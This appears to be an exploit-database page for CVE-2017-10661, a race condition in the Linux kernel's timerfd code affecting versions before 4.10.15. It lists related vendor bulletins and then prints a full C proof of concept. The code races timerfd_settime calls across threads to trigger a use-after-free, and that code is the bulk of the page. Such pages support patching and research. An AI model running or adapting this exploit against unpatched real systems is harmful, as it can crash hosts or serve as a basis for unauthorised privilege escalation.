Linux kernel < 4.10.15 - Race Condition Privilege Escalation
| Reporter | Title | Published | Views | Family All 258 |
|---|---|---|---|---|
| Security Bulletin: Vulnerabilities in the Linux Kernel affect PowerKVM | 17 Dec 201814:20 | – | ibm | |
| Security Bulletin: IBM QRadar Network Security is affected by Linux kernel vulnerabilities | 27 Jun 201908:40 | – | ibm | |
| Security Bulletin: Vulnerabilities in the Linux Kernel affect PowerKVM | 17 May 201916:05 | – | ibm | |
| Linux kernel < 4.10.15 - Race Condition Privilege Escalation Exploit | 18 Dec 201700:00 | – | zdt | |
| Linux kernel timerfd Heap Buffer Overflow Privilege Escalation | 13 Sep 201700:00 | – | bdu_fstec | |
| BSA-2017-423 | 25 Aug 201700:00 | – | broadcom | |
| CentOS 7 : kernel (CESA-2018:3083) | 16 Nov 201800:00 | – | nessus | |
| Debian DLA-1099-1 : linux security update (BlueBorne) (Stack Clash) | 21 Sep 201700:00 | – | nessus | |
| Debian DSA-3981-1 : linux - security update (BlueBorne) (Stack Clash) | 21 Sep 201700:00 | – | nessus | |
| EulerOS 2.0 SP1 : kernel (EulerOS-SA-2017-1245) | 16 Nov 201700:00 | – | nessus |
10
/*
* PoC for CVE-2017-10661, triggers UAF with KASan enabled in kernel 4.10
*/
#include <string.h>
#include <sys/timerfd.h>
#include <sys/time.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#define RACE_TIME 1000000
int fd;
int fd_dumb;
int count=0;
void* list_add_thread(void* arg){
int ret;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
int i=0;
while(i<1){
ret=timerfd_settime(fd,3,&new,NULL);
if(ret<0){
perror("timerfd settime failed !");
}
i++;
}
return NULL;
}
void* list_del_thread(void* arg){
int ret;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
int i=0;
while(i<1){
ret=timerfd_settime(fd,1,&new,NULL);
if(ret<0){
perror("timerfd settime failed !");
}
i++;
}
return NULL;
}
int post_race()
{
int ret;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
int i=0;
struct timeval tv={
.tv_sec = 120+count*2,
.tv_usec = 100
};
ret=settimeofday(&tv,NULL);
if(ret<0){
perror("settimeofday");
}
return 0;
}
int do_race(){
int ret_add[2];
int i;
int j;
pthread_t th[2]={0};
i=0;
while(i<RACE_TIME){
if(i%128)
printf("%d\n",i);
fd=timerfd_create(CLOCK_REALTIME,0); // create the victim ctx
if(fd<0){
perror("timerfd craete failed!");
return -1;
}
ret_add[0] = pthread_create(&th[0],NULL,list_add_thread,(void*)1);
ret_add[1] = pthread_create(&th[1],NULL,list_add_thread,(void*)2);
for( j=0;j<2;j++){
pthread_join(th[j],NULL);
}
close(fd);
usleep(150000);
i++;
count++;
}
return 0;
}
int main(int argc, char const *argv[])
{
int ret;
// add dumb ctx
void* area;
void* base;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
fd_dumb = timerfd_create(CLOCK_REALTIME,0);
ret=timerfd_settime(fd_dumb,3,&new,NULL);
if(ret<0){
perror("timerfd settime failed !");
}
ret=do_race();
if(ret <0){
puts("race failed!");
goto error_end;
}
sleep(5);
error_end:
close(fd);
exit(1);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Dec 2017 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.17
CVSS 27.6
EPSS0.13484